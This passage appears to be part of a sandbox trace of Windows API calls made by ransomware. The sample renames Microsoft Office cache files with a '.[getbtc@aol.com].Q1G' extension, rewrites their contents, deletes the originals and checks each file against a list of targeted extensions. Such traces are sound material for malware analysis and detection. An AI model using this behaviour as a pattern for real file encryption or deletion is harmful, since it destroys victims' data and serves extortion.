users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0036.586] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.586] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.586] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0036.587] GetLastError () returned 0x0 [0036.587] ReadFile (in: hFile=0x190, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x91975, lpOverlapped=0x0) returned 1 [0036.600] WriteFile (in: hFile=0x1d0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0036.611] ReadFile (in: hFile=0x190, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.611] WriteFile (in: hFile=0x1d0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0036.611] SetEndOfFile (hFile=0x1d0) returned 1 [0036.611] CloseHandle (hObject=0x1d0) returned 1 [0037.162] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.170] SetEndOfFile (hFile=0x190) returned 1 [0037.199] CloseHandle (hObject=0x190) returned 1 [0037.199] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.199] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0037.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.199] lstrlenW (lpString=".doc") returned 4 [0037.199] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.199] lstrlenW (lpString=".docx") returned 5 [0037.200] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0037.200] lstrlenW (lpString=".pdf") returned 4 [0037.200] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.200] lstrlenW (lpString=".xls") returned 4 [0037.200] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.200] lstrlenW (lpString=".xlsx") returned 5 [0037.200] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0037.200] lstrlenW (lpString=".ppt") returned 4 [0037.200] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.200] lstrlenW (lpString=".zip") returned 4 [0037.200] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.200] lstrlenW (lpString=".rar") returned 4 [0037.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.200] lstrlenW (lpString=".bz2") returned 4 [0037.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.200] lstrlenW (lpString=".7z") returned 3 [0037.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.200] lstrlenW (lpString=".dbf") returned 4 [0037.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.200] lstrlenW (lpString=".1cd") returned 4 [0037.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.200] lstrlenW (lpString=".jpg") returned 4 [0037.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.200] lstrlenW (lpString=".doc") returned 4 [0037.200] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.200] lstrlenW (lpString=".docx") returned 5 [0037.200] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0037.201] lstrlenW (lpString=".pdf") returned 4 [0037.201] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.201] lstrlenW (lpString=".xls") returned 4 [0037.201] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.201] lstrlenW (lpString=".xlsx") returned 5 [0037.201] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0037.201] lstrlenW (lpString=".ppt") returned 4 [0037.201] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.201] lstrlenW (lpString=".zip") returned 4 [0037.201] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.201] lstrlenW (lpString=".rar") returned 4 [0037.201] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.201] lstrlenW (lpString=".bz2") returned 4 [0037.201] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.201] lstrlenW (lpString=".7z") returned 3 [0037.201] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.201] lstrlenW (lpString=".dbf") returned 4 [0037.201] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.201] lstrlenW (lpString=".1cd") returned 4 [0037.201] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0037.201] lstrlenW (lpString=".jpg") returned 4 [0037.201] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.201] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.201] lstrlenW (lpString="Setup.xml") returned 9 [0037.201] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.488] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=31094) returned 1 [0037.488] CloseHandle (hObject=0x1cc) returned 1 [0037.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.488] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.489] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.489] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.489] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0037.489] GetLastError () returned 0x0 [0037.489] ReadFile (in: hFile=0x1cc, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x7976, lpOverlapped=0x0) returned 1 [0037.509] WriteFile (in: hFile=0x1f0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0037.510] ReadFile (in: hFile=0x1cc, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.510] WriteFile (in: hFile=0x1f0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.510] SetEndOfFile (hFile=0x1f0) returned 1 [0037.510] CloseHandle (hObject=0x1f0) returned 1 [0037.511] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.511] SetEndOfFile (hFile=0x1cc) returned 1 [0037.513] CloseHandle (hObject=0x1cc) returned 1 [0037.513] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.513] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.513] lstrlenW (lpString=".doc") returned 4 [0037.513] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.513] lstrlenW (lpString=".docx") returned 5 [0037.513] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.513] lstrlenW (lpString=".pdf") returned 4 [0037.513] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.513] lstrlenW (lpString=".xls") returned 4 [0037.514] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.514] lstrlenW (lpString=".xlsx") returned 5 [0037.514] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.514] lstrlenW (lpString=".ppt") returned 4 [0037.514] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.514] lstrlenW (lpString=".zip") returned 4 [0037.514] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.514] lstrlenW (lpString=".rar") returned 4 [0037.514] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.514] lstrlenW (lpString=".bz2") returned 4 [0037.514] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.514] lstrlenW (lpString=".7z") returned 3 [0037.514] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.514] lstrlenW (lpString=".dbf") returned 4 [0037.514] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.514] lstrlenW (lpString=".1cd") returned 4 [0037.514] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.514] lstrlenW (lpString=".jpg") returned 4 [0037.514] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.514] lstrlenW (lpString=".doc") returned 4 [0037.514] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.514] lstrlenW (lpString=".docx") returned 5 [0037.514] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.514] lstrlenW (lpString=".pdf") returned 4 [0037.514] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.514] lstrlenW (lpString=".xls") returned 4 [0037.514] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.515] lstrlenW (lpString=".xlsx") returned 5 [0037.515] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.515] lstrlenW (lpString=".ppt") returned 4 [0037.515] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.515] lstrlenW (lpString=".zip") returned 4 [0037.515] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.515] lstrlenW (lpString=".rar") returned 4 [0037.515] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.515] lstrlenW (lpString=".bz2") returned 4 [0037.515] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.515] lstrlenW (lpString=".7z") returned 3 [0037.515] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.515] lstrlenW (lpString=".dbf") returned 4 [0037.515] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.515] lstrlenW (lpString=".1cd") returned 4 [0037.515] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.515] lstrlenW (lpString=".jpg") returned 4 [0037.515] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.515] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.515] lstrlenW (lpString="Office32WW.xml") returned 14 [0037.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.516] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=4274) returned 1 [0037.516] CloseHandle (hObject=0x1cc) returned 1 [0037.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0037.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0037.517] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.517] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0037.518] GetLastError () returned 0x0 [0037.518] ReadFile (in: hFile=0x1cc, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0037.529] WriteFile (in: hFile=0x1f0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0037.530] ReadFile (in: hFile=0x1cc, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.530] WriteFile (in: hFile=0x1f0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0037.530] SetEndOfFile (hFile=0x1f0) returned 1 [0037.530] CloseHandle (hObject=0x1f0) returned 1 [0037.531] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.531] SetEndOfFile (hFile=0x1cc) returned 1 [0037.532] CloseHandle (hObject=0x1cc) returned 1 [0037.532] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.532] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0037.532] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.532] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.532] lstrlenW (lpString=".doc") returned 4 [0037.532] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.533] lstrlenW (lpString=".docx") returned 5 [0037.533] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0037.533] lstrlenW (lpString=".pdf") returned 4 [0037.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.533] lstrlenW (lpString=".xls") returned 4 [0037.533] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.533] lstrlenW (lpString=".xlsx") returned 5 [0037.533] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0037.533] lstrlenW (lpString=".ppt") returned 4 [0037.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.533] lstrlenW (lpString=".zip") returned 4 [0037.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.533] lstrlenW (lpString=".rar") returned 4 [0037.533] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.533] lstrlenW (lpString=".bz2") returned 4 [0037.533] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.533] lstrlenW (lpString=".7z") returned 3 [0037.533] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.533] lstrlenW (lpString=".dbf") returned 4 [0037.533] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.533] lstrlenW (lpString=".1cd") returned 4 [0037.533] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.533] lstrlenW (lpString=".jpg") returned 4 [0037.534] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.534] lstrlenW (lpString=".doc") returned 4 [0037.534] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.534] lstrlenW (lpString=".docx") returned 5 [0037.534] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0037.534] lstrlenW (lpString=".pdf") returned 4 [0037.534] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.534] lstrlenW (lpString=".xls") returned 4 [0037.534] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.534] lstrlenW (lpString=".xlsx") returned 5 [0037.534] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0037.534] lstrlenW (lpString=".ppt") returned 4 [0037.534] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.534] lstrlenW (lpString=".zip") returned 4 [0037.534] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.534] lstrlenW (lpString=".rar") returned 4 [0037.534] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.534] lstrlenW (lpString=".bz2") returned 4 [0037.534] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.534] lstrlenW (lpString=".7z") returned 3 [0037.534] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.534] lstrlenW (lpString=".dbf") returned 4 [0037.534] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.534] lstrlenW (lpString=".1cd") returned 4 [0037.534] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.534] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.534] lstrlenW (lpString=".jpg") returned 4 [0037.534] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.535] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.535] lstrlenW (lpString="VisiorWW.xml") returned 12 [0037.535] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.420] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=8723) returned 1 [0038.421] CloseHandle (hObject=0x1b0) returned 